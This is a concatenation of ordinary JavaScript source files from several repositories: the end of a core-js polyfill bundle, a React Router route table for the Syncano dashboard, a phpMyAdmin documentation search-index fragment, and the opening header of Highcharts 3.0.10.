// https://github.com/tc39/proposal-string-pad-start-end
var toLength = __webpack_require__(35)
, repeat = __webpack_require__(85)
, defined = __webpack_require__(33);
module.exports = function(that, maxLength, fillString, left){
var S = String(defined(that))
, stringLength = S.length
, fillStr = fillString === undefined ? ' ' : String(fillString)
, intMaxLength = toLength(maxLength);
if(intMaxLength <= stringLength || fillStr == '')return S;
var fillLen = intMaxLength - stringLength
, stringFiller = repeat.call(fillStr, Math.ceil(fillLen / fillStr.length));
if(stringFiller.length > fillLen)stringFiller = stringFiller.slice(0, fillLen);
return left ? stringFiller + S : S + stringFiller;
};
/***/ },
/* 249 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
// https://github.com/tc39/proposal-string-pad-start-end
var $export = __webpack_require__(6)
, $pad = __webpack_require__(248);
$export($export.P, 'String', {
padEnd: function padEnd(maxLength /*, fillString = ' ' */){
return $pad(this, maxLength, arguments.length > 1 ? arguments[1] : undefined, false);
}
});
/***/ },
/* 250 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
// https://github.com/sebmarkbage/ecmascript-string-left-right-trim
__webpack_require__(81)('trimLeft', function($trim){
return function trimLeft(){
return $trim(this, 1);
};
}, 'trimStart');
/***/ },
/* 251 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
// https://github.com/sebmarkbage/ecmascript-string-left-right-trim
__webpack_require__(81)('trimRight', function($trim){
return function trimRight(){
return $trim(this, 2);
};
}, 'trimEnd');
/***/ },
/* 252 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
// https://tc39.github.io/String.prototype.matchAll/
var $export = __webpack_require__(6)
, defined = __webpack_require__(33)
, toLength = __webpack_require__(35)
, isRegExp = __webpack_require__(128)
, getFlags = __webpack_require__(188)
, RegExpProto = RegExp.prototype;
var $RegExpStringIterator = function(regexp, string){
this._r = regexp;
this._s = string;
};
__webpack_require__(136)($RegExpStringIterator, 'RegExp String', function next(){
var match = this._r.exec(this._s);
return {value: match, done: match === null};
});
$export($export.P, 'String', {
matchAll: function matchAll(regexp){
defined(this);
if(!isRegExp(regexp))throw TypeError(regexp + ' is not a regexp!');
var S = String(this)
, flags = 'flags' in RegExpProto ? String(regexp.flags) : getFlags.call(regexp)
, rx = new RegExp(regexp.source, ~flags.indexOf('g') ? flags : 'g' + flags);
rx.lastIndex = toLength(regexp.lastIndex);
return new $RegExpStringIterator(rx, S);
}
});
/***/ },
/* 253 */
/***/ function(module, exports, __webpack_require__) {
__webpack_require__(25)('asyncIterator');
/***/ },
/* 254 */
/***/ function(module, exports, __webpack_require__) {
__webpack_require__(25)('observable');
/***/ },
/* 255 */
/***/ function(module, exports, __webpack_require__) {
// https://github.com/tc39/proposal-object-getownpropertydescriptors
var $export = __webpack_require__(6)
, ownKeys = __webpack_require__(221)
, toIObject = __webpack_require__(30)
, gOPD = __webpack_require__(49)
, createProperty = __webpack_require__(155);
$export($export.S, 'Object', {
getOwnPropertyDescriptors: function getOwnPropertyDescriptors(object){
var O = toIObject(object)
, getDesc = gOPD.f
, keys = ownKeys(O)
, result = {}
, i = 0
, key;
while(keys.length > i)createProperty(result, key = keys[i++], getDesc(O, key));
return result;
}
});
/***/ },
/* 256 */
/***/ function(module, exports, __webpack_require__) {
// https://github.com/tc39/proposal-object-values-entries
var $export = __webpack_require__(6)
, $values = __webpack_require__(257)(false);
$export($export.S, 'Object', {
values: function values(it){
return $values(it);
}
});
/***/ },
/* 257 */
/***/ function(module, exports, __webpack_require__) {
var getKeys = __webpack_require__(28)
, toIObject = __webpack_require__(30)
, isEnum = __webpack_require__(42).f;
module.exports = function(isEntries){
return function(it){
var O = toIObject(it)
, keys = getKeys(O)
, length = keys.length
, i = 0
, result = []
, key;
while(length > i)if(isEnum.call(O, key = keys[i++])){
result.push(isEntries ? [key, O[key]] : O[key]);
} return result;
};
};
/***/ },
/* 258 */
/***/ function(module, exports, __webpack_require__) {
// https://github.com/tc39/proposal-object-values-entries
var $export = __webpack_require__(6)
, $entries = __webpack_require__(257)(true);
$export($export.S, 'Object', {
entries: function entries(it){
return $entries(it);
}
});
/***/ },
/* 259 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var $export = __webpack_require__(6)
, toObject = __webpack_require__(56)
, aFunction = __webpack_require__(19)
, $defineProperty = __webpack_require__(9);
// B.2.2.2 Object.prototype.__defineGetter__(P, getter)
__webpack_require__(4) && $export($export.P + __webpack_require__(260), 'Object', {
__defineGetter__: function __defineGetter__(P, getter){
$defineProperty.f(toObject(this), P, {get: aFunction(getter), enumerable: true, configurable: true});
}
});
/***/ },
/* 260 */
/***/ function(module, exports, __webpack_require__) {
// Forced replacement prototype accessors methods
module.exports = __webpack_require__(26)|| !__webpack_require__(5)(function(){
var K = Math.random();
// In FF throws only define methods
__defineSetter__.call(null, K, function(){ /* empty */});
delete __webpack_require__(2)[K];
});
/***/ },
/* 261 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var $export = __webpack_require__(6)
, toObject = __webpack_require__(56)
, aFunction = __webpack_require__(19)
, $defineProperty = __webpack_require__(9);
// B.2.2.3 Object.prototype.__defineSetter__(P, setter)
__webpack_require__(4) && $export($export.P + __webpack_require__(260), 'Object', {
__defineSetter__: function __defineSetter__(P, setter){
$defineProperty.f(toObject(this), P, {set: aFunction(setter), enumerable: true, configurable: true});
}
});
/***/ },
/* 262 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var $export = __webpack_require__(6)
, toObject = __webpack_require__(56)
, toPrimitive = __webpack_require__(14)
, getPrototypeOf = __webpack_require__(57)
, getOwnPropertyDescriptor = __webpack_require__(49).f;
// B.2.2.4 Object.prototype.__lookupGetter__(P)
__webpack_require__(4) && $export($export.P + __webpack_require__(260), 'Object', {
__lookupGetter__: function __lookupGetter__(P){
var O = toObject(this)
, K = toPrimitive(P, true)
, D;
do {
if(D = getOwnPropertyDescriptor(O, K))return D.get;
} while(O = getPrototypeOf(O));
}
});
/***/ },
/* 263 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var $export = __webpack_require__(6)
, toObject = __webpack_require__(56)
, toPrimitive = __webpack_require__(14)
, getPrototypeOf = __webpack_require__(57)
, getOwnPropertyDescriptor = __webpack_require__(49).f;
// B.2.2.5 Object.prototype.__lookupSetter__(P)
__webpack_require__(4) && $export($export.P + __webpack_require__(260), 'Object', {
__lookupSetter__: function __lookupSetter__(P){
var O = toObject(this)
, K = toPrimitive(P, true)
, D;
do {
if(D = getOwnPropertyDescriptor(O, K))return D.set;
} while(O = getPrototypeOf(O));
}
});
/***/ },
/* 264 */
/***/ function(module, exports, __webpack_require__) {
// https://github.com/DavidBruant/Map-Set.prototype.toJSON
var $export = __webpack_require__(6);
$export($export.P + $export.R, 'Map', {toJSON: __webpack_require__(265)('Map')});
/***/ },
/* 265 */
/***/ function(module, exports, __webpack_require__) {
// https://github.com/DavidBruant/Map-Set.prototype.toJSON
var classof = __webpack_require__(73)
, from = __webpack_require__(266);
module.exports = function(NAME){
return function toJSON(){
if(classof(this) != NAME)throw TypeError(NAME + "#toJSON isn't generic");
return from(this);
};
};
/***/ },
/* 266 */
/***/ function(module, exports, __webpack_require__) {
var forOf = __webpack_require__(198);
module.exports = function(iter, ITERATOR){
var result = [];
forOf(iter, false, result.push, result, ITERATOR);
return result;
};
/***/ },
/* 267 */
/***/ function(module, exports, __webpack_require__) {
// https://github.com/DavidBruant/Map-Set.prototype.toJSON
var $export = __webpack_require__(6);
$export($export.P + $export.R, 'Set', {toJSON: __webpack_require__(265)('Set')});
/***/ },
/* 268 */
/***/ function(module, exports, __webpack_require__) {
// https://github.com/ljharb/proposal-global
var $export = __webpack_require__(6);
$export($export.S, 'System', {global: __webpack_require__(2)});
/***/ },
/* 269 */
/***/ function(module, exports, __webpack_require__) {
// https://github.com/ljharb/proposal-is-error
var $export = __webpack_require__(6)
, cof = __webpack_require__(32);
$export($export.S, 'Error', {
isError: function isError(it){
return cof(it) === 'Error';
}
});
/***/ },
/* 270 */
/***/ function(module, exports, __webpack_require__) {
// https://gist.github.com/BrendanEich/4294d5c212a6d2254703
var $export = __webpack_require__(6);
$export($export.S, 'Math', {
iaddh: function iaddh(x0, x1, y0, y1){
var $x0 = x0 >>> 0
, $x1 = x1 >>> 0
, $y0 = y0 >>> 0;
return $x1 + (y1 >>> 0) + (($x0 & $y0 | ($x0 | $y0) & ~($x0 + $y0 >>> 0)) >>> 31) | 0;
}
});
/***/ },
/* 271 */
/***/ function(module, exports, __webpack_require__) {
// https://gist.github.com/BrendanEich/4294d5c212a6d2254703
var $export = __webpack_require__(6);
$export($export.S, 'Math', {
isubh: function isubh(x0, x1, y0, y1){
var $x0 = x0 >>> 0
, $x1 = x1 >>> 0
, $y0 = y0 >>> 0;
return $x1 - (y1 >>> 0) - ((~$x0 & $y0 | ~($x0 ^ $y0) & $x0 - $y0 >>> 0) >>> 31) | 0;
}
});
/***/ },
/* 272 */
/***/ function(module, exports, __webpack_require__) {
// https://gist.github.com/BrendanEich/4294d5c212a6d2254703
var $export = __webpack_require__(6);
$export($export.S, 'Math', {
imulh: function imulh(u, v){
var UINT16 = 0xffff
, $u = +u
, $v = +v
, u0 = $u & UINT16
, v0 = $v & UINT16
, u1 = $u >> 16
, v1 = $v >> 16
, t = (u1 * v0 >>> 0) + (u0 * v0 >>> 16);
return u1 * v1 + (t >> 16) + ((u0 * v1 >>> 0) + (t & UINT16) >> 16);
}
});
/***/ },
/* 273 */
/***/ function(module, exports, __webpack_require__) {
// https://gist.github.com/BrendanEich/4294d5c212a6d2254703
var $export = __webpack_require__(6);
$export($export.S, 'Math', {
umulh: function umulh(u, v){
var UINT16 = 0xffff
, $u = +u
, $v = +v
, u0 = $u & UINT16
, v0 = $v & UINT16
, u1 = $u >>> 16
, v1 = $v >>> 16
, t = (u1 * v0 >>> 0) + (u0 * v0 >>> 16);
return u1 * v1 + (t >>> 16) + ((u0 * v1 >>> 0) + (t & UINT16) >>> 16);
}
});
/***/ },
/* 274 */
/***/ function(module, exports, __webpack_require__) {
var metadata = __webpack_require__(275)
, anObject = __webpack_require__(10)
, toMetaKey = metadata.key
, ordinaryDefineOwnMetadata = metadata.set;
metadata.exp({defineMetadata: function defineMetadata(metadataKey, metadataValue, target, targetKey){
ordinaryDefineOwnMetadata(metadataKey, metadataValue, anObject(target), toMetaKey(targetKey));
}});
/***/ },
/* 275 */
/***/ function(module, exports, __webpack_require__) {
var Map = __webpack_require__(203)
, $export = __webpack_require__(6)
, shared = __webpack_require__(21)('metadata')
, store = shared.store || (shared.store = new (__webpack_require__(207)));
var getOrCreateMetadataMap = function(target, targetKey, create){
var targetMetadata = store.get(target);
if(!targetMetadata){
if(!create)return undefined;
store.set(target, targetMetadata = new Map);
}
var keyMetadata = targetMetadata.get(targetKey);
if(!keyMetadata){
if(!create)return undefined;
targetMetadata.set(targetKey, keyMetadata = new Map);
} return keyMetadata;
};
var ordinaryHasOwnMetadata = function(MetadataKey, O, P){
var metadataMap = getOrCreateMetadataMap(O, P, false);
return metadataMap === undefined ? false : metadataMap.has(MetadataKey);
};
var ordinaryGetOwnMetadata = function(MetadataKey, O, P){
var metadataMap = getOrCreateMetadataMap(O, P, false);
return metadataMap === undefined ? undefined : metadataMap.get(MetadataKey);
};
var ordinaryDefineOwnMetadata = function(MetadataKey, MetadataValue, O, P){
getOrCreateMetadataMap(O, P, true).set(MetadataKey, MetadataValue);
};
var ordinaryOwnMetadataKeys = function(target, targetKey){
var metadataMap = getOrCreateMetadataMap(target, targetKey, false)
, keys = [];
if(metadataMap)metadataMap.forEach(function(_, key){ keys.push(key); });
return keys;
};
var toMetaKey = function(it){
return it === undefined || typeof it == 'symbol' ? it : String(it);
};
var exp = function(O){
$export($export.S, 'Reflect', O);
};
module.exports = {
store: store,
map: getOrCreateMetadataMap,
has: ordinaryHasOwnMetadata,
get: ordinaryGetOwnMetadata,
set: ordinaryDefineOwnMetadata,
keys: ordinaryOwnMetadataKeys,
key: toMetaKey,
exp: exp
};
/***/ },
/* 276 */
/***/ function(module, exports, __webpack_require__) {
var metadata = __webpack_require__(275)
, anObject = __webpack_require__(10)
, toMetaKey = metadata.key
, getOrCreateMetadataMap = metadata.map
, store = metadata.store;
metadata.exp({deleteMetadata: function deleteMetadata(metadataKey, target /*, targetKey */){
var targetKey = arguments.length < 3 ? undefined : toMetaKey(arguments[2])
, metadataMap = getOrCreateMetadataMap(anObject(target), targetKey, false);
if(metadataMap === undefined || !metadataMap['delete'](metadataKey))return false;
if(metadataMap.size)return true;
var targetMetadata = store.get(target);
targetMetadata['delete'](targetKey);
return !!targetMetadata.size || store['delete'](target);
}});
/***/ },
/* 277 */
/***/ function(module, exports, __webpack_require__) {
var metadata = __webpack_require__(275)
, anObject = __webpack_require__(10)
, getPrototypeOf = __webpack_require__(57)
, ordinaryHasOwnMetadata = metadata.has
, ordinaryGetOwnMetadata = metadata.get
, toMetaKey = metadata.key;
var ordinaryGetMetadata = function(MetadataKey, O, P){
var hasOwn = ordinaryHasOwnMetadata(MetadataKey, O, P);
if(hasOwn)return ordinaryGetOwnMetadata(MetadataKey, O, P);
var parent = getPrototypeOf(O);
return parent !== null ? ordinaryGetMetadata(MetadataKey, parent, P) : undefined;
};
metadata.exp({getMetadata: function getMetadata(metadataKey, target /*, targetKey */){
return ordinaryGetMetadata(metadataKey, anObject(target), arguments.length < 3 ? undefined : toMetaKey(arguments[2]));
}});
/***/ },
/* 278 */
/***/ function(module, exports, __webpack_require__) {
var Set = __webpack_require__(206)
, from = __webpack_require__(266)
, metadata = __webpack_require__(275)
, anObject = __webpack_require__(10)
, getPrototypeOf = __webpack_require__(57)
, ordinaryOwnMetadataKeys = metadata.keys
, toMetaKey = metadata.key;
var ordinaryMetadataKeys = function(O, P){
var oKeys = ordinaryOwnMetadataKeys(O, P)
, parent = getPrototypeOf(O);
if(parent === null)return oKeys;
var pKeys = ordinaryMetadataKeys(parent, P);
return pKeys.length ? oKeys.length ? from(new Set(oKeys.concat(pKeys))) : pKeys : oKeys;
};
metadata.exp({getMetadataKeys: function getMetadataKeys(target /*, targetKey */){
return ordinaryMetadataKeys(anObject(target), arguments.length < 2 ? undefined : toMetaKey(arguments[1]));
}});
/***/ },
/* 279 */
/***/ function(module, exports, __webpack_require__) {
var metadata = __webpack_require__(275)
, anObject = __webpack_require__(10)
, ordinaryGetOwnMetadata = metadata.get
, toMetaKey = metadata.key;
metadata.exp({getOwnMetadata: function getOwnMetadata(metadataKey, target /*, targetKey */){
return ordinaryGetOwnMetadata(metadataKey, anObject(target)
, arguments.length < 3 ? undefined : toMetaKey(arguments[2]));
}});
/***/ },
/* 280 */
/***/ function(module, exports, __webpack_require__) {
var metadata = __webpack_require__(275)
, anObject = __webpack_require__(10)
, ordinaryOwnMetadataKeys = metadata.keys
, toMetaKey = metadata.key;
metadata.exp({getOwnMetadataKeys: function getOwnMetadataKeys(target /*, targetKey */){
return ordinaryOwnMetadataKeys(anObject(target), arguments.length < 2 ? undefined : toMetaKey(arguments[1]));
}});
/***/ },
/* 281 */
/***/ function(module, exports, __webpack_require__) {
var metadata = __webpack_require__(275)
, anObject = __webpack_require__(10)
, getPrototypeOf = __webpack_require__(57)
, ordinaryHasOwnMetadata = metadata.has
, toMetaKey = metadata.key;
var ordinaryHasMetadata = function(MetadataKey, O, P){
var hasOwn = ordinaryHasOwnMetadata(MetadataKey, O, P);
if(hasOwn)return true;
var parent = getPrototypeOf(O);
return parent !== null ? ordinaryHasMetadata(MetadataKey, parent, P) : false;
};
metadata.exp({hasMetadata: function hasMetadata(metadataKey, target /*, targetKey */){
return ordinaryHasMetadata(metadataKey, anObject(target), arguments.length < 3 ? undefined : toMetaKey(arguments[2]));
}});
/***/ },
/* 282 */
/***/ function(module, exports, __webpack_require__) {
var metadata = __webpack_require__(275)
, anObject = __webpack_require__(10)
, ordinaryHasOwnMetadata = metadata.has
, toMetaKey = metadata.key;
metadata.exp({hasOwnMetadata: function hasOwnMetadata(metadataKey, target /*, targetKey */){
return ordinaryHasOwnMetadata(metadataKey, anObject(target)
, arguments.length < 3 ? undefined : toMetaKey(arguments[2]));
}});
/***/ },
/* 283 */
/***/ function(module, exports, __webpack_require__) {
var metadata = __webpack_require__(275)
, anObject = __webpack_require__(10)
, aFunction = __webpack_require__(19)
, toMetaKey = metadata.key
, ordinaryDefineOwnMetadata = metadata.set;
metadata.exp({metadata: function metadata(metadataKey, metadataValue){
return function decorator(target, targetKey){
ordinaryDefineOwnMetadata(
metadataKey, metadataValue,
(targetKey !== undefined ? anObject : aFunction)(target),
toMetaKey(targetKey)
);
};
}});
/***/ },
/* 284 */
/***/ function(module, exports, __webpack_require__) {
// https://github.com/rwaldron/tc39-notes/blob/master/es6/2014-09/sept-25.md#510-globalasap-for-enqueuing-a-microtask
var $export = __webpack_require__(6)
, microtask = __webpack_require__(201)()
, process = __webpack_require__(2).process
, isNode = __webpack_require__(32)(process) == 'process';
$export($export.G, {
asap: function asap(fn){
var domain = isNode && process.domain;
microtask(domain ? domain.bind(fn) : fn);
}
});
/***/ },
/* 285 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
// https://github.com/zenparsing/es-observable
var $export = __webpack_require__(6)
, global = __webpack_require__(2)
, core = __webpack_require__(7)
, microtask = __webpack_require__(201)()
, OBSERVABLE = __webpack_require__(23)('observable')
, aFunction = __webpack_require__(19)
, anObject = __webpack_require__(10)
, anInstance = __webpack_require__(197)
, redefineAll = __webpack_require__(202)
, hide = __webpack_require__(8)
, forOf = __webpack_require__(198)
, RETURN = forOf.RETURN;
var getMethod = function(fn){
return fn == null ? undefined : aFunction(fn);
};
var cleanupSubscription = function(subscription){
var cleanup = subscription._c;
if(cleanup){
subscription._c = undefined;
cleanup();
}
};
var subscriptionClosed = function(subscription){
return subscription._o === undefined;
};
var closeSubscription = function(subscription){
if(!subscriptionClosed(subscription)){
subscription._o = undefined;
cleanupSubscription(subscription);
}
};
var Subscription = function(observer, subscriber){
anObject(observer);
this._c = undefined;
this._o = observer;
observer = new SubscriptionObserver(this);
try {
var cleanup = subscriber(observer)
, subscription = cleanup;
if(cleanup != null){
if(typeof cleanup.unsubscribe === 'function')cleanup = function(){ subscription.unsubscribe(); };
else aFunction(cleanup);
this._c = cleanup;
}
} catch(e){
observer.error(e);
return;
} if(subscriptionClosed(this))cleanupSubscription(this);
};
Subscription.prototype = redefineAll({}, {
unsubscribe: function unsubscribe(){ closeSubscription(this); }
});
var SubscriptionObserver = function(subscription){
this._s = subscription;
};
SubscriptionObserver.prototype = redefineAll({}, {
next: function next(value){
var subscription = this._s;
if(!subscriptionClosed(subscription)){
var observer = subscription._o;
try {
var m = getMethod(observer.next);
if(m)return m.call(observer, value);
} catch(e){
try {
closeSubscription(subscription);
} finally {
throw e;
}
}
}
},
error: function error(value){
var subscription = this._s;
if(subscriptionClosed(subscription))throw value;
var observer = subscription._o;
subscription._o = undefined;
try {
var m = getMethod(observer.error);
if(!m)throw value;
value = m.call(observer, value);
} catch(e){
try {
cleanupSubscription(subscription);
} finally {
throw e;
}
} cleanupSubscription(subscription);
return value;
},
complete: function complete(value){
var subscription = this._s;
if(!subscriptionClosed(subscription)){
var observer = subscription._o;
subscription._o = undefined;
try {
var m = getMethod(observer.complete);
value = m ? m.call(observer, value) : undefined;
} catch(e){
try {
cleanupSubscription(subscription);
} finally {
throw e;
}
} cleanupSubscription(subscription);
return value;
}
}
});
var $Observable = function Observable(subscriber){
anInstance(this, $Observable, 'Observable', '_f')._f = aFunction(subscriber);
};
redefineAll($Observable.prototype, {
subscribe: function subscribe(observer){
return new Subscription(observer, this._f);
},
forEach: function forEach(fn){
var that = this;
return new (core.Promise || global.Promise)(function(resolve, reject){
aFunction(fn);
var subscription = that.subscribe({
next : function(value){
try {
return fn(value);
} catch(e){
reject(e);
subscription.unsubscribe();
}
},
error: reject,
complete: resolve
});
});
}
});
redefineAll($Observable, {
from: function from(x){
var C = typeof this === 'function' ? this : $Observable;
var method = getMethod(anObject(x)[OBSERVABLE]);
if(method){
var observable = anObject(method.call(x));
return observable.constructor === C ? observable : new C(function(observer){
return observable.subscribe(observer);
});
}
return new C(function(observer){
var done = false;
microtask(function(){
if(!done){
try {
if(forOf(x, false, function(it){
observer.next(it);
if(done)return RETURN;
}) === RETURN)return;
} catch(e){
if(done)throw e;
observer.error(e);
return;
} observer.complete();
}
});
return function(){ done = true; };
});
},
of: function of(){
for(var i = 0, l = arguments.length, items = Array(l); i < l;)items[i] = arguments[i++];
return new (typeof this === 'function' ? this : $Observable)(function(observer){
var done = false;
microtask(function(){
if(!done){
for(var i = 0; i < items.length; ++i){
observer.next(items[i]);
if(done)return;
} observer.complete();
}
});
return function(){ done = true; };
});
}
});
hide($Observable.prototype, OBSERVABLE, function(){ return this; });
$export($export.G, {Observable: $Observable});
__webpack_require__(186)('Observable');
/***/ },
/* 286 */
/***/ function(module, exports, __webpack_require__) {
var $export = __webpack_require__(6)
, $task = __webpack_require__(200);
$export($export.G + $export.B, {
setImmediate: $task.set,
clearImmediate: $task.clear
});
/***/ },
/* 287 */
/***/ function(module, exports, __webpack_require__) {
var $iterators = __webpack_require__(183)
, redefine = __webpack_require__(16)
, global = __webpack_require__(2)
, hide = __webpack_require__(8)
, Iterators = __webpack_require__(135)
, wks = __webpack_require__(23)
, ITERATOR = wks('iterator')
, TO_STRING_TAG = wks('toStringTag')
, ArrayValues = Iterators.Array;
for(var collections = ['NodeList', 'DOMTokenList', 'MediaList', 'StyleSheetList', 'CSSRuleList'], i = 0; i < 5; i++){
var NAME = collections[i]
, Collection = global[NAME]
, proto = Collection && Collection.prototype
, key;
if(proto){
if(!proto[ITERATOR])hide(proto, ITERATOR, ArrayValues);
if(!proto[TO_STRING_TAG])hide(proto, TO_STRING_TAG, NAME);
Iterators[NAME] = ArrayValues;
for(key in $iterators)if(!proto[key])redefine(proto, key, $iterators[key], true);
}
}
/***/ },
/* 288 */
/***/ function(module, exports, __webpack_require__) {
// ie9- setTimeout & setInterval additional parameters fix
var global = __webpack_require__(2)
, $export = __webpack_require__(6)
, invoke = __webpack_require__(76)
, partial = __webpack_require__(289)
, navigator = global.navigator
, MSIE = !!navigator && /MSIE .\./.test(navigator.userAgent); // <- dirty ie9- check
var wrap = function(set){
return MSIE ? function(fn, time /*, ...args */){
return set(invoke(
partial,
[].slice.call(arguments, 2),
typeof fn == 'function' ? fn : Function(fn)
), time);
} : set;
};
$export($export.G + $export.B + $export.F * MSIE, {
setTimeout: wrap(global.setTimeout),
setInterval: wrap(global.setInterval)
});
/***/ },
/* 289 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var path = __webpack_require__(290)
, invoke = __webpack_require__(76)
, aFunction = __webpack_require__(19);
module.exports = function(/* ...pargs */){
var fn = aFunction(this)
, length = arguments.length
, pargs = Array(length)
, i = 0
, _ = path._
, holder = false;
while(length > i)if((pargs[i] = arguments[i++]) === _)holder = true;
return function(/* ...args */){
var that = this
, aLen = arguments.length
, j = 0, k = 0, args;
if(!holder && !aLen)return invoke(fn, pargs, that);
args = pargs.slice();
if(holder)for(;length > j; j++)if(args[j] === _)args[j] = arguments[k++];
while(aLen > k)args.push(arguments[k++]);
return invoke(fn, args, that);
};
};
/***/ },
/* 290 */
/***/ function(module, exports, __webpack_require__) {
module.exports = __webpack_require__(2);
/***/ }
/******/ ]);
// CommonJS export
if(typeof module != 'undefined' && module.exports)module.exports = __e;
// RequireJS export
else if(typeof define == 'function' && define.amd)define(function(){return __e});
// Export to global object
else __g.core = __e;
}(1, 1);
|
src/routes.js
|
Syncano/syncano-dashboard
|
import React from 'react';
import { Route, IndexRedirect, IndexRoute } from 'react-router';
import { RoutesUtil } from './utils';
// Pages
import AppPage from './pages/app';
import ClassesPage from './pages/classes';
import DashboardPage from './pages/dashboard';
import InstancePage from './pages/instance';
import ProfilePage from './pages/profile';
import NotFoundPage from './pages/notfound';
import ExpiredAccountPage from './pages/expiredAccount';
import FailedPaymentPage from './pages/failedPayment';
import FreeLimitsExceededPage from './pages/freeLimitsExceeded';
import hardLimitReachedPage from './pages/hardLimitReached';
import MaintenancePage from './pages/maintenance';
// Apps
import Account from './apps/Account';
import Profile from './apps/Profile';
// Apps for authenticated users
import Instances from './apps/Instances/Instances';
import InstanceEdit from './apps/Instances/InstanceEdit';
// Instance Apps
import Admins from './apps/Admins/Admins';
import ApiKeys from './apps/ApiKeys/ApiKeys';
import Classes from './apps/Classes';
import CustomSockets from './apps/CustomSockets';
import SocketsRegistry from './apps/SocketsRegistry';
import DataObjects from './apps/DataObjects/DataObjects';
import Users from './apps/Users/Users';
import Sockets from './apps/Sockets';
import Usage from './apps/Usage';
import Hosting from './apps/Hosting';
const handleAppEnter = (nextState, replace) => RoutesUtil.onAppEnter(nextState, replace);
const handleDashboardEnter = (nextState, replace) => RoutesUtil.onDashboardEnter(nextState, replace);
const handleDashboardChange = (prevState, nextState, replace) => (
RoutesUtil.onDashboardChange(prevState, nextState, replace)
);
const handleInstanceEnter = (nextState, replace, cb) => RoutesUtil.onInstanceEnter(nextState, replace, cb);
export default (
<Route
name="app"
component={AppPage}
onEnter={handleAppEnter}
path="/"
>
<Route
name="login"
path="login"
component={Account.Login}
onEnter={RoutesUtil.redirectToDashboard}
/>
<Route
name="signup"
path="signup"
component={Account.Signup}
onEnter={RoutesUtil.redirectToDashboard}
/>
<Route
name="activate"
component={Account.Activate}
path="/activate/:uid/:token"
/>
<Route
name="password-update"
component={Account.PasswordUpdate}
path="/password/update"
/>
<Route
name="password-reset"
component={Account.PasswordReset}
path="/password/reset"
/>
<Route
name="password-reset-confirm"
component={Account.PasswordResetConfirm}
path="/password/reset/:uid/:token"
/>
{/* Dashboard */}
<Route
name="dashboard"
component={DashboardPage}
onEnter={handleDashboardEnter}
onChange={handleDashboardChange}
>
<Route
name="instances"
component={Instances}
path="instances"
/>
<Route
name="expired-account"
component={ExpiredAccountPage}
path="expired"
/>
<Route
name="failed-payment"
component={FailedPaymentPage}
path="failed-payment"
/>
<Route
name="free-limits-exceeded"
component={FreeLimitsExceededPage}
path="free-limits-exceeded"
/>
<Route
name="hard-limits-reached"
component={hardLimitReachedPage}
path="hard-limits-reached"
/>
<Route
name="maintenance"
component={MaintenancePage}
path="maintenance"
/>
<Route
name="socket-details"
component={Sockets.Details}
path="instances/:instanceName/sockets/:socketId"
/>
<Route
name="instance"
onEnter={handleInstanceEnter}
component={InstancePage}
path="instances/:instanceName"
>
{/* Sockets */}
<Route
name="sockets"
component={Sockets}
path="sockets"
/>
{/* Hosting */}
<Route
name="hosting"
path="hosting"
>
<Route
name="list"
path="list"
component={Hosting}
/>
<Route
name="files"
path=":hostingId/files"
component={Hosting.Files}
/>
<IndexRoute component={Hosting} />
</Route>
{/* Admins */}
<Route
name="admins"
component={Admins}
path="admins"
/>
{/* API keys */}
<Route
name="api-keys"
component={ApiKeys}
path="api-keys"
/>
{/* Custom Sockets */}
<Route
name="my-sockets"
path="my-sockets"
>
<Route
name="my-socket-endpoints"
path=":socketName"
component={CustomSockets.Endpoints}
/>
<IndexRoute component={CustomSockets} />
</Route>
{/* General */}
<Route
name="instance-edit"
component={InstanceEdit}
path="edit"
/>
{/* Classes */}
<Route
name="classes"
component={ClassesPage}
path="classes"
>
<Route
name="classes-data-objects"
component={DataObjects}
path=":className/objects"
/>
<Route
name="classEdit"
component={Classes}
path=":className/:action"
/>
<IndexRoute component={Classes} />
</Route>
{/* Data Objects */}
<Route
name="data-objects"
component={DataObjects}
path="objects"
/>
{/* Users */}
<Route
name="users"
component={Users}
path="users"
/>
<IndexRedirect to="my-sockets" />
</Route>
{/* Profile Billing */}
<Route
name="profile"
component={ProfilePage}
path="/account"
>
<Route
name="profile-billing-plan-cancel"
component={Profile.BillingPlanCancel}
path="plan/cancel"
/>
<Route
name="profile-billing-plan"
component={Profile.BillingPlan}
path="plan(/:mode)"
/>
<Route
name="profile-billing-usage"
component={Usage}
path="usage"
/>
<Route
name="profile-billing-address"
component={Profile.BillingAddress}
path="address"
/>
<Route
name="profile-billing-payment"
component={Profile.BillingPayment}
path="payment-methods"
/>
<Route
name="profile-billing-invoices"
component={Profile.BillingInvoices}
path="invoices"
/>
<Route
name="profile-settings"
component={Profile.Settings}
path="/account"
/>
<Route
name="profile-authentication"
component={Profile.Authentication}
path="/account/authentication"
/>
<Route
name="profile-invitations"
component={Profile.Invitations}
path="/account/invitations"
/>
<IndexRoute component={Profile.Settings} />
</Route>
{/* Custom Sockets Registry */}
<Route
name="sockets-registry"
component={SocketsRegistry}
path="sockets-registry"
>
<Route
name="sockets-registry-details"
component={SocketsRegistry.Details}
path=":socketId/details"
/>
<IndexRoute component={SocketsRegistry.List} />
</Route>
<IndexRoute
onEnter={RoutesUtil.checkInstanceActiveSubscription}
component={Instances}
/>
</Route>
<Route path="*" component={NotFoundPage} />
</Route>
);
|
work_stage/db_manager/Admin/doc/html/searchindex.js
|
larenz/Gokujo
|
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to phpMyAdmin’s documentation!","Transformations","Copyright","Glossary","Installation","FAQ - Frequently Asked Questions","Requirements","Other sources of information","Credits","Distributing and packaging phpMyAdmin","Introduction","User Guide","Developers Information","Configuration","User management"],objnames:{"0":["config","option","Config config option"]},filenames:["index","transformations","copyright","glossary","setup","faq","require","other","credits","vendors","intro","user","developers","config","privileges"]})
|
ajax/libs/highcharts/3.0.10/highcharts.src.js
|
jasonpang/cdnjs
|
// ==ClosureCompiler==
// @compilation_level SIMPLE_OPTIMIZATIONS
/**
* @license Highcharts JS v3.0.10 (2014-03-10)
*
* (c) 2009-2014 Torstein Honsi
*
* License: www.highcharts.com/license
*/
// JSLint options:
/*global Highcharts, document, window, navigator, setInterval, clearInterval, clearTimeout, setTimeout, location, jQuery, $, console, each, grep */
(function () {
